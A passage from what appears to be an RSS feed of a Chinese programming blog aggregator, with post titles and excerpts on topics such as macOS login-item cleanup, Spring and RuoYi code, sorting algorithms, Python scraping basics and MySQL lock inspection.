      <description>文章目录 Intro解决查看三个文件夹分析 &amp;amp; 操作确认结果是否生效 Intro 我的macbook上经常弹出这样的通知狂：&#xA;macOS 后台项目已添加 “Google Updater添加了可在后台运行的项目。你可以在“登陆项”设置中管理&#xA;不胜其扰，终于决定禁用它。以下为方法：&#xA;直接单击这个通知项：&#xA;解决 你需要查看3个目录，并清理掉相关的文件。&#xA;查看三个文件夹 在 Terminal 中执行以下三行命令，可在 Finder 中打开对应文件夹(或者你手动打开也行)。&#xA;wuyujin1997@wyjmacm1 ~ % open ~/Library/LaunchAgents wuyujin1997@wyjmacm1 ~ % open /Library/LaunchAgents wuyujin1997@wyjmacm1 ~ % open /Library/LaunchDaemons 分析 &amp;amp; 操作 可以看出3个文件夹中我只有在个人目录中的 ~/Library/LaunchAgents 中有两个google相关的文件：&#xA;删除掉这两个文件。然后重启电脑（或等待一会，具体时长我不确定，部分机型应该在五分钟以内）。&#xA;确认结果是否生效 依次打开——设置——通用——登陆项，查看最新情况：&#xA;可以看到，之前有微信和google两项，现在只剩微信一个了。&#xA;操作有效。&#xA;记于此日，希望对后来人有帮助。</description>
    </item>
    <item>
      <title>若依前后端分离版ruoyi-vue：增加新的登录接口（新用户表），用于小程序或者APP获取token，并使用若依的验证方法，结合腾讯云短信验证码实现手机号&#43;验证码登陆</title>
      <link>https://bchobby.github.io/posts/10215dabc8187b70229e342f2fc132ad/</link>
      <pubDate>Sun, 19 Nov 2023 10:34:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10215dabc8187b70229e342f2fc132ad/</guid>
      <description>1.新建—SmsController类 package com.wanuw.user.controller.login; import com.wanuw.common.constant.Constants; import com.wanuw.common.core.domain.AjaxResult; import com.wanuw.user.service.SmsService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; /** * 手机端验证码 * * @author dagang */ @RestController @RequestMapping(&#34;/sms&#34;) public class SmsController { @Autowired private SmsService smsService; /** * 生成手机验证码 */ @PostMapping(&#34;/send&#34;) public AjaxResult sendSmsCode(@RequestParam(value = &#34;phoneNumber&#34;) String phoneNumber) { String message = smsService.sendSmsCode(phoneNumber); return AjaxResult.success(message); } /** * 验证手机验证码 */ @PostMapping(&#34;/verify&#34;) public AjaxResult verifySmsCode(@RequestParam(value = &#34;phoneNumber&#34;) String phoneNumber, @RequestParam(value = &#34;smsCode&#34;) String smsCode) { AjaxResult ajax = AjaxResult.</description>
    </item>
    <item>
      <title>什么是数据库(Database)</title>
      <link>https://bchobby.github.io/posts/e97a37d751e0e689a6c4ff4c677ba7c8/</link>
      <pubDate>Sun, 19 Nov 2023 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e97a37d751e0e689a6c4ff4c677ba7c8/</guid>
      <description>数据库（Database）是指存储数据的容器，也被称为数据存储库（Data Store）。数据库能够存储大量结构化和非结构化的数据，包括文本、数字、图像、音频等各种类型的数据。它们是计算机系统中最重要的组件之一，被广泛用于各种应用程序和业务领域。本文将对数据库的基本概念、类型、结构、操作、管理、安全等方面进行详细介绍。&#xA;一、数据库的基本概念 数据库是指由若干个相关数据的集合组成，它们被存储在计算机系统中，以便于对这些数据进行管理、处理和访问。数据库可以包含多个表格或者集合，每个表格或集合包含一组相似的数据。&#xA;常见的数据库软件有MySQL、Oracle、SQL Server、PostgreSQL等。这些软件具有管理、查询、更新、删除数据的功能，可以通过编写SQL语句来操作数据库中的数据。&#xA;数据库的核心概念包括数据、表格、字段、记录和主键等。&#xA;1.数据&#xA;数据是指可以被计算机处理和存储的信息。数据可以是数字、字符、图像、音频等各种类型的信息。数据库中的数据是有意义的信息，可以被组织、管理和检索。&#xA;2.表格&#xA;表格是数据库中存储数据的基本单元，也被称为数据表或数据集合。表格由行和列组成，行表示记录，列表示字段。表格中的每个单元格包含一个值，该值对应于表格中的一个字段和一条记录。&#xA;3.字段&#xA;字段是表格中的列，每个字段都包含相同类型的数据。字段可以是数字、字符、日期、时间、布尔值等各种类型的数据。每个字段都有一个名称，用于标识该字段在表格中的位置。&#xA;4.记录&#xA;记录是表格中的行，每个记录包含一组字段值。记录的数量可以是零或多个，每个记录都有一个唯一标识符，称为主键。&#xA;5.主键&#xA;主键是一条记录的唯一标识符，用于区分表格中不同的记录。主键可以是一个或多个字段的组合，主键的值不能重复。主键可以是数据库中唯一的一个记录标识符。&#xA;二、数据库的类型 根据数据存储方式和结构的不同，数据库可以分为关系型数据库和非关系型数据库。&#xA;1.关系型数据库&#xA;关系型数据库（Relational Database）是指采用关系模型来组织数据的数据库。关系模型是指将数据组织成一系列的表格，表格之间可以建立关系。关系型数据库可以通过SQL语句来操作和查询数据，是应用最广泛的一类数据库类型。&#xA;常见的关系型数据库有MySQL、Oracle、SQL Server、PostgreSQL等。关系型数据库具有以下特点：&#xA;表格之间可以建立关系，数据之间的关联性可以通过外键进行管理。&#xA;支持复杂的查询操作，可以通过SQL语句进行查询、更新、删除等操作。&#xA;支持事务处理，可以保证数据的完整性和一致性。&#xA;可以通过索引来加快数据访问速度。&#xA;2.非关系型数据库&#xA;非关系型数据库（NoSQL，Not Only SQL）是指不使用传统的关系型数据库模型的数据库，它们使用其他的数据模型来组织和管理数据。非关系型数据库可以存储各种类型的数据，包括结构化、半结构化和非结构化的数据。&#xA;常见的非关系型数据库有MongoDB、Cassandra、Redis、Elasticsearch等。非关系型数据库具有以下特点：&#xA;不需要事先定义数据模型，数据可以动态添加和删除。&#xA;支持水平扩展，可以通过添加节点来扩展数据库的容量和性能。&#xA;支持高可用性和可伸缩性，可以通过复制和分片来实现数据的冗余和负载均衡。&#xA;支持键值对、文档、图形、列族等多种数据模型。&#xA;三、数据库的结构 数据库的结构指的是数据在数据库中的组织形式和存储方式。根据数据库结构的不同，数据库可以分为层次型数据库、网状型数据库、关系型数据库和面向对象数据库等。&#xA;1.层次型数据库&#xA;层次型数据库（Hierarchical Database）是最早的数据库类型之一，它的数据结构类似于一棵树形结构，数据之间存在一对多的层次关系。每个节点可以包含多个子节点，但只能有一个父节点。层次型数据库常用于管理复杂的工程和科学数据。&#xA;2.网状型数据库&#xA;网状型数据库（Network Database）是在层次型数据库的基础上发展起来的一种数据库类型。网状型数据库的数据结构类似于一个网状结构，数据之间存在多对多的关系。每个记录可以有多个父记录和多个子记录。网状型数据库常用于处理复杂的关联数据。&#xA;3.关系型数据库&#xA;关系型数据库是目前应用最广泛的一种数据库类型，它的数据结构是由多个表格组成，表格之间可以建立关系。关系型数据库可以使用SQL语句进行查询、更新、删除等操作，支持事务处理和索引等高级功能。&#xA;4.面向对象数据库&#xA;面向对象数据库（Object-oriented Database）是一种新型的数据库类型，它的数据结构类似于面向对象程序设计中的对象和类。面向对象数据库将数据存储在对象中，对象之间可以建立关系和继承关系，支持多态和封装等面向对象的特性。面向对象数据库常用于存储复杂的对象数据和多媒体数据。&#xA;四、数据库的设计 数据库的设计是指将现实世界中的业务逻辑转化为数据库中的数据结构和关系的过程。数据库的设计需要考虑数据的完整性、一致性、准确性和易用性等方面的问题，以确保数据库能够满足业务需求并且易于维护和扩展。&#xA;数据库的设计一般包括以下几个步骤：&#xA;1.需求分析&#xA;需求分析是数据库设计的第一步，它需要确定数据库的功能和业务需求，包括数据的来源、数据的类型、数据的数量、数据的访问方式等。在需求分析阶段，需要与业务人员和用户进行充分的沟通和交流，以确保数据库的设计能够满足业务需求。&#xA;2.数据建模&#xA;数据建模是数据库设计的核心部分，它需要将需求分析阶段得到的业务需求转化为数据库的数据结构和关系。数据建模一般采用E-R图（实体-关系图）来表示，它将实体、属性和关系用图形的方式表示出来，以便于理解和分析。&#xA;3.数据库设计&#xA;数据库设计是将数据模型转化为数据库的实际结构的过程，包括数据库表格的设计、字段的定义、数据类型的选择、主键和外键的定义等。在数据库设计过程中，需要考虑数据的完整性和一致性，以确保数据库的稳定和可靠性。&#xA;4.数据库实现&#xA;数据库实现是将数据库设计转化为实际的数据库系统的过程，包括数据库软件的安装、数据库表格的创建、数据的导入和检验等。在数据库实现过程中，需要注意数据库的性能和安全性，以确保数据库能够正常运行并且不受攻击。&#xA;5.数据库测试&#xA;数据库测试是对数据库系统进行功能和性能测试的过程，以确保数据库能够满足业务需求并且性能良好。数据库测试需要测试数据库的数据访问、事务处理、查询优化等方面的功能，并且进行负载测试、安全测试等方面的测试。&#xA;6.数据库维护&#xA;数据库维护是数据库设计的最后一步，它需要定期进行数据库备份、优化、更新等工作，以确保数据库的稳定性和可靠性。数据库维护还需要进行安全漏洞扫描、数据库性能监控等工作，以确保数据库的安全和高效。&#xA;五、数据库管理系统（DBMS） 数据库管理系统（Database Management System，DBMS）是指管理数据库的软件系统，它提供了对数据库的管理、维护和查询等功能。DBMS可以帮助用户有效地存储和管理数据，并且提供了数据访问、事务处理、查询优化等方面的功能。DBMS还支持多用户并发访问，可以防止数据的冲突和不一致性。</description>
    </item>
    <item>
      <title>数据结构-插入排序&#43;希尔排序&#43;选择排序</title>
      <link>https://bchobby.github.io/posts/f0d134187c92d22246d2e964f29208bf/</link>
      <pubDate>Sat, 18 Nov 2023 20:36:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0d134187c92d22246d2e964f29208bf/</guid>
      <description>目录&#xA;1.插入排序&#xA;插入排序的时间复杂度：&#xA;2.希尔排序&#xA;希尔排序的时间复杂度： 3.选择排序&#xA;选择排序的时间复杂度：&#xA;所谓排序，就是使一串记录，按照其中的某个或某些关键字的大小，递增或递减的排列起来的操作。排序在生活中的作用很大，例如：某宝中的价格排行榜、销量排行榜，国内外的财富排行榜、院校排行榜等等，都是使用排序完成的。&#xA;下面我们看看常见的排序都有哪些：&#xA;1.插入排序 基本思想：&#xA;把待排序的记录按其关键码值的大小逐个插入到一个已经排好序的有序序列中，直到所有的记录插入完为止，得到一个新的有序序列 。&#xA;实际中我们玩扑克牌时，就用了插入排序的思想：&#xA;插入排序的过程如下：&#xA;假设我们有如下一个数组：&#xA;具体实现代码如下：&#xA;while (end &amp;gt;= 0) { //挪数据 if (tmp &amp;lt; a[end]) { a[end + 1] = a[end]; end--; } else { break; } } //交换数据 a[end + 1] = tmp; tmp中存放的是3，3小于10，10往后挪一位，3小于5,5往后挪一位......当end到2时，tmp小于2，退出循环，此时5 7 10都已经往后挪了一位，数组中的元素应该是：2 5 5 7 10，我们把tmp中存放的3和2后面的5交换即可。&#xA;以上只是一个数据的插入排序，要实现整个数组的排序，我们需要对数组的每个数据都往前插入排序一下：&#xA;void InsertSort(int* a, int n) { for (int i = 1; i &amp;lt; n; i++) { int end = i - 1; int tmp = a[i]; while (end &amp;gt;= 0) { if (tmp &amp;lt; a[end]) { a[end + 1] = a[end]; end--; } else { break; } } a[end + 1] = tmp; } } 插入排序的时间复杂度： 假设我们要排升序，当要排的数据刚好是降序时，时间复杂度最大，为O(N^2)，因为此时排序的次数是等差数列。</description>
    </item>
    <item>
      <title>define 不是关键字</title>
      <link>https://bchobby.github.io/posts/21bd26c491be99586711ab351f4af427/</link>
      <pubDate>Sat, 18 Nov 2023 18:24:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21bd26c491be99586711ab351f4af427/</guid>
      <description>最近做到了一个题，题目如下：&#xA;实践：&#xA;确实可以正常运行。&#xA;原因：&#xA;-- define 是编译器的预编译指令，是编译器实现的，不是c语言的内容。&#xA;预编译相关可以看 【保姆级讲解】C语言---预编译处理精华_c语言什么是预编译-CSDN博客&#xA;扩展：printf和main 等函数名也不是关键字。&#xA;（可以但不规范）</description>
    </item>
    <item>
      <title>IDEA创建文件添加作者及时间信息</title>
      <link>https://bchobby.github.io/posts/08fc65a784add611f58881f4e997e766/</link>
      <pubDate>Sat, 18 Nov 2023 17:01:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08fc65a784add611f58881f4e997e766/</guid>
      <description>前言 当使用IDEA进行软件开发时，经常需要在代码文件中添加作者和时间信息，以便更好地维护和管理代码。&#xA;但是如果每次都手动编辑 以及修改那就有点浪费时间了。&#xA;实践 其实我们可以将注释日期 作者 配置到 模板中 同时配置上动态获取内容 例如时间 这样每次新建文件都会带上我们 信息 以及动态的内容&#xA;打开IDEA设置： 转到 “File” -&amp;gt; “Settings”。 （mac 用户 点击 preference）&#xA;选择File and Code Templates： 在设置窗口中，选择 “Editor” -&amp;gt; “File and Code Templates”。&#xA;4和5的两种方式选择一个即可&#xA;修改模板： 在右侧的 “File” 选项卡下，找到 “Includes” -&amp;gt; “File Header”，将模板修改为以下内容：&#xA;/** * @author 作者名称 * @date ${YEAR}-${MONTH}-${DAY} ${HOUR}:${MINUTE}:${SECOND} */ 另外 还有可以单独设置的不同文件的请求头 但是需要注意的是 这和fileHeader的方式 会叠加 注意需要文件头的文件都设置 例如 类 和 接口 都想生成的话 那就都需要配置 错误的示例&#xA;所以说 3和 4 选择一个即可 如果说非要同时设置 那么 3的设置应该是一些公用的内容</description>
    </item>
    <item>
      <title>Redo subscriber operation REGISTER for DEFAULT_GROUP@@xxx # failed.</title>
      <link>https://bchobby.github.io/posts/769e98a0c8736910962ee767d52e1a66/</link>
      <pubDate>Sat, 18 Nov 2023 16:12:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/769e98a0c8736910962ee767d52e1a66/</guid>
      <description>前言 在服务间的请求中 有个报错日志一直在打印，项目启动正常，但只要发起feign调用就会打出如下报错日志 Redo subscriber operation REGISTER for DEFAULT_GROUP@@服务名 # failed.&#xA;详细日志如下&#xA;2023-11-17 18:08:00.167 [127.0.1.1] [com.alibaba.nacos.client.naming.grpc.redo.0] ERROR [,,,] com.alibaba.nacos.client.naming.redoForSubscribes - Redo subscriber operation REGISTER for DEFAULT_GROUP@@服务名# failed. com.alibaba.nacos.api.exception.NacosException: user not found! at com.alibaba.nacos.client.naming.remote.gprc.NamingGrpcClientProxy.requestToServer(NamingGrpcClientProxy.java:359) at com.alibaba.nacos.client.naming.remote.gprc.NamingGrpcClientProxy.doSubscribe(NamingGrpcClientProxy.java:311) at com.alibaba.nacos.client.naming.remote.gprc.redo.RedoScheduledTask.redoForSubscribe(RedoScheduledTask.java:127) at com.alibaba.nacos.client.naming.remote.gprc.redo.RedoScheduledTask.redoForSubscribes(RedoScheduledTask.java:108) at com.alibaba.nacos.client.naming.remote.gprc.redo.RedoScheduledTask.run(RedoScheduledTask.java:52) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) at java.util.concurrent.FutureTask.runAndReset(FutureTask.java:308) at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:180) at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:294) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:748) 但是feign调用可以正常调用 调用完成后，就会一直打印如上错误&#xA;定位分析 问题的本质还是 鉴权失败的问题&#xA;可以和 check-update] get changed dataId error, code: 403 问题一起看</description>
    </item>
    <item>
      <title>11.14Python</title>
      <link>https://bchobby.github.io/posts/dac289b7569512da54b90236b1fd35f4/</link>
      <pubDate>Sat, 18 Nov 2023 15:11:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dac289b7569512da54b90236b1fd35f4/</guid>
      <description>import time print(time.localtime()) #time.struct_time(tm_year=2023, tm_mon=11, tm_mday=14, tm_hour=14, tm_min=38, tm_sec=7, tm_wday=1, tm_yday=318, tm_isdst=0) print(time.strftime(&#34;%Y-%m-%d %H:%M:%S&#34;)) #2023-11-14 14:33:37 time.sleep(x) #x秒后继续运行下面代码 import time import turtle # print(time.localtime()) # print(time.localtime(500)) # print(type(time.localtime())) # print(time.strftime(&#34;%Y-%m-%d %H:%M:%S&#34;)) turtle.setup(960, 600) # 画布 turtle.bgpic(&#39;猫头鹰.gif&#39;) turtle.fillcolor(&#39;#FFFF00&#39;) turtle.title(&#34;猫头鹰&#34;) turtle.pensize(5) # 笔粗细 turtle.speed(5) # 笔移动速度 turtle.color(&#34;#7c443c&#34;, &#39;#FFFF00&#39;) # 笔颜色 turtle.begin_fill() # 从这里开始↓ turtle.circle(50, 360, 5) turtle.end_fill() # 到这里内操作的代码填充 turtle.penup() # 提笔 turtle.forward(150) turtle.color(&#34;#7c443c&#34;, &#39;#000000&#39;) turtle.pendown() # 落笔 turtle.begin_fill() # 从这里开始↓ turtle.</description>
    </item>
    <item>
      <title>简朴博客系统测试报告</title>
      <link>https://bchobby.github.io/posts/82a5d64119417b25043064d04101b978/</link>
      <pubDate>Sat, 18 Nov 2023 14:02:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82a5d64119417b25043064d04101b978/</guid>
      <description>文章目录 一. 项目简介二. 测试概要三. 测试环境四. 测试执行概况及功能测试1. 手工测试1.1 手动测试用例编写1.2 执行的部分测试用例 2. 自动化测试Selenium2.1 编写测试用例2.2 自动化测试代码 3. 测试结果 五. 发现的问题 一. 项目简介 简朴博客系统是采用前后端分离的方式来实现的，是基于 SpringFrameWork 和 MyBatis 框架实现的一个简易的博客发布网站，同时将其部署到了云服务器上。&#xA;目前博客系统主要实现了户的注册登录，文章的编写、发布，以及对自己文章的查看、修改、删除操作，个人文章列表及文章数统计这些；还可以分页显示所有作者汇总的文章列表，显示文章阅读量等。&#xA;使用 IDEA 开发，项目用到的技术有，SpringBoot， SpringMVC， MyBatis， MySQL， Redis， Lombok，HTML，CSS，JavaScript，jQuery 等。&#xA;二. 测试概要 测试对象：基于 SSM 项目的博客系统。&#xA;测试目的：校验博客项目功能是否符合自己的预期。&#xA;测试点：主要针对常用的主流程功能进行测试，如：注册、登录、汇总博客列表页、博客编辑页、个人博客列表页、导航栏组件等涉及到的功能。&#xA;测试方法和工具：主要是黑盒测试，自动化工具使用 Selenium 和 Junit。&#xA;三. 测试环境 硬件：Lenovo Yoga 14S 2021（R7-5800H/16GB/512GB/集显）。&#xA;浏览器：Google Chrome 版本 119.0.6045.160（正式版本） （64 位）。&#xA;操作系统：Windows 11。&#xA;测试工具：Selenium3 和 Junit5。&#xA;四. 测试执行概况及功能测试 1. 手工测试 1.1 手动测试用例编写 ♨️注册页</description>
    </item>
    <item>
      <title>Python 爬虫入门</title>
      <link>https://bchobby.github.io/posts/2c7ef98a75fc83a6e1bfe987c0f5f943/</link>
      <pubDate>Sat, 18 Nov 2023 12:10:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c7ef98a75fc83a6e1bfe987c0f5f943/</guid>
      <description>文章目录 Python 爬虫入门`requests` 库`beautifulsoup4`库函数`findall()`，`find()`函数`get()` 爬虫实例 1：抓小说爬虫实例 2：抓豆瓣 top 250 的电影信息后记 Python 爬虫入门 Python 的爬虫功能使得程序员可以快速抓取并分析网页中的信息，它实质上是模拟浏览器访问网页。本章主要常用的两个爬虫相关的库requests，beautifulsoup4。若要模拟鼠标点击等，要用到selenium 库，限于篇幅限制，本章不再介绍，具体可以查阅相关资料。&#xA;requests 库 每个网页都有源代码，可以通过鼠标单击右键查看网页源代码。网页中的很多信息都在源代码里面，requests 是一个访问网页源代码的库。一般通过 get 函数访问网页，另外一个常用来访问网页的函数是 post，与 get 函数的区别在于 post 能够传递表格或文件到网页所在服务器上。&#xA;get(url, [timeout], [headers], [proxies], **kwargs)url网页链接timeout可选参数，请求网页的最大时长，单位为秒headers可选参数，模拟浏览器设置proxies可选参数，代理服务器设置**kwargs其他参数 get 或 post 函数返回一个 Resoponse 对象，该对象包括以下常用的属性或函数。&#xA;属性或函数描述status_code网页请求的返回状态，200 表示连接成功，404 表示连接失败text响应网页的字符串内容encoding响应网页的编码方式，可以更改content相应网页的字节形式内容，例如图片或 pdf 文件等raise_for_status()如果网页访问不成功，抛出异常，一般结合 try-except 语句使用json()该函数可以解析网页内容中 JSON 格式的数据 import requests r = requests.get(&#39;http://www.baidu.com&#39;) r.status_code 200 r.text # 结果省略 r.encoding # 若为 ISO-8859-1 则中文为乱码 &#39;ISO-8859-1&#39; r.encoding = &#39;utf-8&#39; # 无论网页原内容是什么编码，都改成 utf-8 编码 beautifulsoup4库 使用requests获取的网页源代码一般非常复杂，不仅包括常规内容，还包括很多定义页面格式的代码。</description>
    </item>
    <item>
      <title>Java 类之 java.lang.reflect.Method</title>
      <link>https://bchobby.github.io/posts/54fe7528a1e035608d73958112732083/</link>
      <pubDate>Sat, 18 Nov 2023 12:09:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54fe7528a1e035608d73958112732083/</guid>
      <description>Java 类之 java.lang.reflect.Method 文章目录 Java 类之 java.lang.reflect.Method一、概述1、java.lang.Class 类获取方法的方法获取全部公有方法（含继承的，不含私有的）获取本类的所有方法（不含继承的，含私有的）代码示例 2、java.lang.reflect.Method 类简介3、类定义信息 二、基本功能1、基本功能2、代码示例 三、扩展1、关于注解的方法2、`getAnnotations()` 和 `getDeclaredAnnotations()`的区别区别代码示例 3、invoke 方法简介方法签名参数说明异常代码示例 4、是否支持修改方法5、其它注意点 关联文章：《Java反射详解》https://blog.csdn.net/qq_29689343/article/details/97639037&#xA;一、概述 1、java.lang.Class 类获取方法的方法 获取全部公有方法（含继承的，不含私有的） getMethod(String name, Class&amp;lt;?&amp;gt;... parameterTypes)： 获取指定名称和参数类型的公有方法。如果方法不存在，则抛出 NoSuchMethodException 异常。 getMethods()： 获取该类及其父类中所有公有方法的数组。返回一个 Method 对象数组。 获取本类的所有方法（不含继承的，含私有的） getDeclaredMethod(String name, Class&amp;lt;?&amp;gt;... parameterTypes)： 获取指定名称和参数类型的任意访问权限的方法，包括私有方法。如果方法不存在，则抛出 NoSuchMethodException 异常。 getDeclaredMethods()： 获取该类中所有声明的方法，包括私有方法。返回一个 Method 对象数组。 代码示例 // 获取公有方法（含继承的，不含私有的） Method publicMethod = MyClass.class.getMethod(&#34;publicMethodName&#34;, String.class); // 获取所有公有方法（含继承的，不含私有的） Method[] publicMethods = MyClass.class.getMethods(); // 获取本类的私有方法（不含继承的，含私有的） Method privateMethod = MyClass.class.getDeclaredMethod(&#34;privateMethodName&#34;, String.class); // 获取本类的所有方法（不含继承的，含私有的） Method[] allMethods = MyClass.</description>
    </item>
    <item>
      <title>Windows11 python3.12 安装pyqt6 pyqt6-tools</title>
      <link>https://bchobby.github.io/posts/2aee538d5cb639c47f8ba3f9b57ba1b3/</link>
      <pubDate>Sat, 18 Nov 2023 12:05:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2aee538d5cb639c47f8ba3f9b57ba1b3/</guid>
      <description>Windows11 python3.12 安装pyqt6比较容易，但pyqt6-tools一直安装不上去。出错信息如下：&#xA;(venv) PS D:\python_project\pyqt6&amp;gt; pip install pyqt6-tools Collecting pyqt6-tools Using cached pyqt6_tools-6.4.2.3.3-py3-none-any.whl (29 kB) Collecting click (from pyqt6-tools) Using cached click-8.1.7-py3-none-any.whl.metadata (3.0 kB) Collecting pyqt6==6.4.2 (from pyqt6-tools) Using cached PyQt6-6.4.2-cp37-abi3-win_amd64.whl (6.4 MB) INFO: pip is looking at multiple versions of pyqt6-tools to determine which version is compatible with other requirements. This could take a while. Collecting pyqt6-tools Using cached pyqt6_tools-6.3.1.3.3-py3-none-any.whl (29 kB) Collecting pyqt6==6.3.1 (from pyqt6-tools) Using cached PyQt6-6.</description>
    </item>
    <item>
      <title>centos7查看开机自启服务</title>
      <link>https://bchobby.github.io/posts/8828c67a0b4adfe3bd0ccab0505fe92c/</link>
      <pubDate>Sat, 18 Nov 2023 11:30:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8828c67a0b4adfe3bd0ccab0505fe92c/</guid>
      <description> systemctl list-unit-files --type=service | grep enabled </description>
    </item>
    <item>
      <title>移动机器人路径规划（四）--- 考虑机器人模型下的运动规划KINODYNAMIC PATHFINDING</title>
      <link>https://bchobby.github.io/posts/71f22d2841f0a004d3bae93b306dce05/</link>
      <pubDate>Sat, 18 Nov 2023 11:08:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71f22d2841f0a004d3bae93b306dce05/</guid>
      <description>目录&#xA;1 动力学概念简介&#xA;2 State Lattice Planning&#xA;3 Boundary Value Problem&#xA;4 混合A*算法 Hybrid A*&#xA;5 Kinodynamic RRT*&#xA;1 动力学概念简介 一种生成机器人的运动同时受限制于运动学的约束（避障）以及动力学的约束（在速度加速度力的约束），既要保证运动的安全性（避障）还要保证微分的约束（力、加速度的约束）。&#xA;真正的机器人是无法当作质点处理的。不可能像RRT*那样走直线的。&#xA;做运动规划时也要考虑轨迹优化，而不单单在后端。（需要过渡，有个好的初值）。&#xA;并且很重要的，轨迹往往只能在局部被优化，看下面右面的紫色和绿色就可以。（虚线是优化过后的路径）&#xA;这是一些经典的运动模型：&#xA;http://planning.cs.uiuc.edu/node659.htmlhttp://planning.cs.uiuc.edu/node659.html 下面是简化的小车的模型：&#xA;小车模型http://planning.cs.uiuc.edu/node658.html&#xA;2 State Lattice Planning We have many weapons to attack graph search.&#xA;Assume the robot a mass point is not satisfactory any more.&#xA;We now require a graph with feasible motion connections.&#xA;We manually create (build) a graph with all edges executable by the robot.</description>
    </item>
    <item>
      <title>Vue3 动态设置 ref</title>
      <link>https://bchobby.github.io/posts/244a33aa892ca47934b2e93c778f9a8c/</link>
      <pubDate>Sat, 18 Nov 2023 11:04:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/244a33aa892ca47934b2e93c778f9a8c/</guid>
      <description>介绍 在一些场景，ref设置是未知的需要根据动态数据来决定，如表格中的input框需要我们主动聚焦，就需要给每一个input设置一个ref，进而进行聚焦操作。&#xA;Demo 点击下面截图中的编辑按钮，自动聚焦到相应的输入框中。&#xA;&amp;lt;template&amp;gt; &amp;lt;!-- 动态ref --&amp;gt; &amp;lt;div class=&#34;test_ref&#34;&amp;gt; &amp;lt;div v-for=&#34;item in 9&#34; :key=&#34;item&#34;&amp;gt; &amp;lt;span&amp;gt;{{ item }}&amp;lt;/span&amp;gt; &amp;lt;!-- 动态设置ref --&amp;gt; &amp;lt;el-input v-model=&#34;inputVal&#34; placeholder=&#34;Please input&#34; :ref=&#34;(el:refItem) =&amp;gt; handleSetInputMap(el, item)&#34; /&amp;gt; &amp;lt;el-button type=&#34;primary&#34; :icon=&#34;Edit&#34; @click=&#34;handleEdit(item)&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script lang=&#34;ts&#34; setup&amp;gt; import { ref } from &#34;vue&#34;; import { Edit } from &#34;@element-plus/icons-vue&#34;; import { ComponentPublicInstance } from &#34;vue&#34;; type refItem = Element | ComponentPublicInstance | null; const inputVal = ref(); const inputRefMap = ref({}); /** 编辑 */ const handleEdit = (item: number) =&amp;gt; { // 若输入框此时还没有渲染出来，如先隐藏再触发显示 需要使用nextTick进行聚焦 inputRefMap.</description>
    </item>
    <item>
      <title>页面报错：“This application has no explicit mapping for error, so you are seeing this as a fallback.”</title>
      <link>https://bchobby.github.io/posts/0d2f250d9ad146b81000c14b90ea2634/</link>
      <pubDate>Sat, 18 Nov 2023 10:48:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d2f250d9ad146b81000c14b90ea2634/</guid>
      <description> 页面报错：“This application has no explicit mapping for /error, so you are seeing this as a fallback.” 1.具体报错如下： 2.可能原因有： Application启动类的位置不对，要将Application类放在最外侧，即包含所有子包Controller的url路径错误未添加spring-boot-starter-thymeleaf的jar包或yml文件中关于视图解析器的配置问题未开启静态资源映射 参考：https://blog.csdn.net/weixin_44299027/article/details/93380344&#xA;3.本人问题：未开启静态资源映射 4.解决办法：配置如下配置类 @Configuration @Slf4j public class WebMvcConfig extends WebMvcConfigurationSupport { @Override protected void addResourceHandlers(ResourceHandlerRegistry registry) { log.info(&#34;静态资源映射...&#34;); } } </description>
    </item>
    <item>
      <title>MySQL如何查看锁表</title>
      <link>https://bchobby.github.io/posts/a0e12e59e803473da7810356daedf356/</link>
      <pubDate>Sat, 18 Nov 2023 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0e12e59e803473da7810356daedf356/</guid>
      <description>在MySQL数据库中，当多个事务同时请求对同一行数据进行修改时，就会发生锁表现象。锁表可以确保数据的一致性和完整性，但如果锁定时间过长或者锁定范围过大，就可能导致性能问题。因此，了解如何查看和分析锁表情况对于优化数据库性能至关重要。&#xA;在本文中，我们将讨论如何使用MySQL来查看锁表。我们将涵盖以下几个方面：&#xA;1、查看当前的锁表情况&#xA;2、查看被阻塞的事务&#xA;3、查看事务等待的锁资源&#xA;4、查看锁表的进程列表&#xA;1. 查看当前的锁表情况 要查看当前的锁表情况，可以使用MySQL的SHOW FULL PROCESSLIST命令。该命令会显示当前执行的所有线程以及它们的状态和正在执行的查询。&#xA;SHOW FULL PROCESSLIST; 该命令的输出结果包含以下几个重要的列：&#xA;Id：线程的唯一标识符&#xA;User：连接数据库的用户名&#xA;Host：连接数据库的主机名&#xA;db：当前连接的数据库&#xA;Command：线程正在执行的命令&#xA;Time：线程已经执行的时间&#xA;State：线程的当前状态&#xA;Info：线程正在执行的查询语句&#xA;通过观察State列，我们可以找出正在等待锁资源或者正在锁定其他事务的线程。其中，Waiting for table metadata lock表示线程正在等待表的元数据锁，Waiting for table level lock表示线程正在等待表级别的锁，Waiting for lock表示线程正在等待其他锁。&#xA;2. 查看被阻塞的事务 要查看被阻塞的事务，可以使用MySQL的SHOW ENGINE INNODB STATUS命令。该命令会显示InnoDB存储引擎的状态信息，包括当前的锁表情况。&#xA;SHOW ENGINE INNODB STATUS; 该命令的输出结果包含了大量的信息，其中与锁有关的部分位于LATEST DETECTED 